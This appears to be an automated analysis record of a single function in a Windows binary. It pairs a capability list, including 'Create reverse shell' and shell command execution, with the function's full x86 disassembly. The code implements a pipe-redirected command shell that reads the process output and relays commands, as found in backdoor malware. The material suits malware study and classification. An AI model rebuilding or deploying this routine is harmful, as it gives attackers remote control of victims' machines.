Function at 0x40559d
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Execute shell command and capture output
Read file on windows
Read pipe
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x2c]
sub esp, 0x3c
push ebx
push esi
push edi
mov edi, dword [eax]
or esi, 0xffffffff
mov eax, dword [0x46dcd0]
xor ebx, ebx
cmp eax, dword [edi + 4]
jle 0x4055f5
push 0x46dcd0
call fcn.0042ea6c
pop ecx
cmp dword [0x46dcd0], esi
jne 0x4055f5
push ebx
mov ecx, 0x46dc48
call fcn.00404818
push 0x452023
call fcn.0042edf6
mov dword [esp], 0x46dcd0
call fcn.0042ea2d
pop ecx
mov eax, dword [0x46dcb0]
cmp eax, dword [edi + 4]
jle 0x405632
mov edi, 0x46dcb0
push edi
call fcn.0042ea6c
pop ecx
cmp dword [0x46dcb0], esi
jne 0x405632
mov ecx, 0x46dcd8
call fcn.004020b5
push 0x452019
call fcn.0042edf6
pop ecx
push edi
call fcn.0042ea2d
pop ecx
lea ecx, [ebp - 0x24]
call fcn.004020b5
mov edi, 0x46c2d0
mov dword [ebp - 4], ebx
cmp byte [0x46bae2], bl
jne 0x4057be
mov edx, 0x45f6b0
mov ecx, edi
call fcn.00405a22
test al, al
je 0x405935
push 0x45f6b8
call fcn.0043919a
pop ecx
mov esi, 0x46dcd8
push eax
mov ecx, esi
call fcn.004059be
push str._nF2
mov ecx, esi
call fcn.004059b5
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
mov edi, 0x46dbf0
push ebx
push edi
push 0x46dcb4
push 0x46dccc
mov dword [0x46dbf0], 0xc
mov dword [0x46dbf8], 1
mov dword [0x46dbf4], ebx
call esi
test eax, eax
je 0x40595f
push ebx
push edi
push 0x46dcd4
push 0x46dcb8
call esi
test eax, eax
je 0x40595f
push 0x44
pop esi
push esi
push ebx
mov edi, 0x46dc00
push edi
call fcn.00431810
add esp, 0xc
mov dword [0x46dc00], esi
xor eax, eax
mov dword [0x46dc2c], 0x101
mov word [0x46dc30], ax
mov ecx, 0x46dcd8
mov eax, dword [0x46dccc]
push 0x46dcbc
mov dword [0x46dc38], eax
mov eax, dword [0x46dcd4]
push edi
mov dword [0x46dc3c], eax
mov dword [0x46dc40], eax
call fcn.00401f75
push eax
push ebx
push ebx
push 1
push ebx
mov esi, 0x46c2d0
push ebx
mov ecx, esi
call fcn.00401f75
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
mov ecx, esi
push 0x45f6ac
setne byte [0x46bae2]
call fcn.004059be
mov ecx, 0x46dc48
mov byte [0x46bae3], 1
call fcn.00404955
sub esp, 0x10
mov esi, 0x46bacc
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, 0x46dc48
mov ecx, esi
call fcn.004049d2
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.004020cc
push 0x93
mov ecx, esi
call fcn.00404a6e
push 0x12c
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x46bae2], bl
je 0x405935
mov edi, 0x46c2d0
push ebx
lea eax, [ebp - 8]
mov dword [ebp - 8], ebx
push eax
push ebx
push ebx
push ebx
push dword [0x46dcb8]
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [ebp - 8], ebx
jbe 0x40587a
push dword [ebp - 8]
call fcn.00438e06
pop ecx
push ebx
mov edi, eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
push edi
push dword [0x46dcb8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [ebp - 0xc], ebx
jbe 0x40586c
cmp dword [ebp - 4], ebx
jbe 0x40583b
push dword [ebp - 4]
lea ecx, [ebp - 0x24]
call fcn.00401f75
push eax
push edi
call fcn.00438e20
add esp, 0xc
test eax, eax
jne 0x40583b
push edi
lea ecx, [ebp - 0x3c]
call fcn.00402064
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 4]
sub esp, 0x18
mov ecx, esp
push eax
push dword [ebp - 4]
jmp 0x40584d
push edi
lea ecx, [ebp - 0x3c]
call fcn.00402064
sub esp, 0x18
mov ecx, esp
push dword [ebp - 0xc]
push ebx
lea eax, [ebp - 0x3c]
push eax
call fcn.004059c7
push 0x62
mov ecx, 0x46dc48
call fcn.00404a6e
lea ecx, [ebp - 0x3c]
mov esi, eax
call fcn.00401fa7
push edi
call fcn.00438e01
pop ecx
mov edi, 0x46c2d0
jmp 0x405897
sub esp, 0x18
mov ecx, esp
push 0x45f6ac
call fcn.00402064
push 0x62
mov ecx, 0x46dc48
call fcn.00404a6e
mov esi, eax
movzx eax, byte [0x46bae3]
xor ecx, ecx
test esi, esi
cmovle eax, ecx
mov ecx, edi
mov byte [0x46bae3], al
call fcn.00402469
test eax, eax
je 0x4058f9
push 0x45f6c8
mov ecx, edi
call fcn.004059b5
push edi
lea ecx, [ebp - 0x24]
call fcn.00401f8d
push ebx
lea eax, [ebp - 4]
mov ecx, edi
push eax
call fcn.00402469
push eax
mov ecx, edi
call fcn.00401f75
push eax
push dword [0x46dcb4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x45f6ac
mov ecx, edi
call fcn.004059be
jmp 0x4058fc
mov dword [ebp - 4], ebx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x46bae3], bl
jne 0x4057be
push ebx
push dword [0x46dcbc]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [0x46dcc0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [0x46dcbc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x46dc48
call fcn.00404dd5
push dword [0x46dcb8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [0x46dcd4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [0x46bae2], bl
mov bl, 1
lea ecx, [ebp - 0x24]
call fcn.00401fa7
lea ecx, [ebp + 8]
call fcn.00401fa7
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret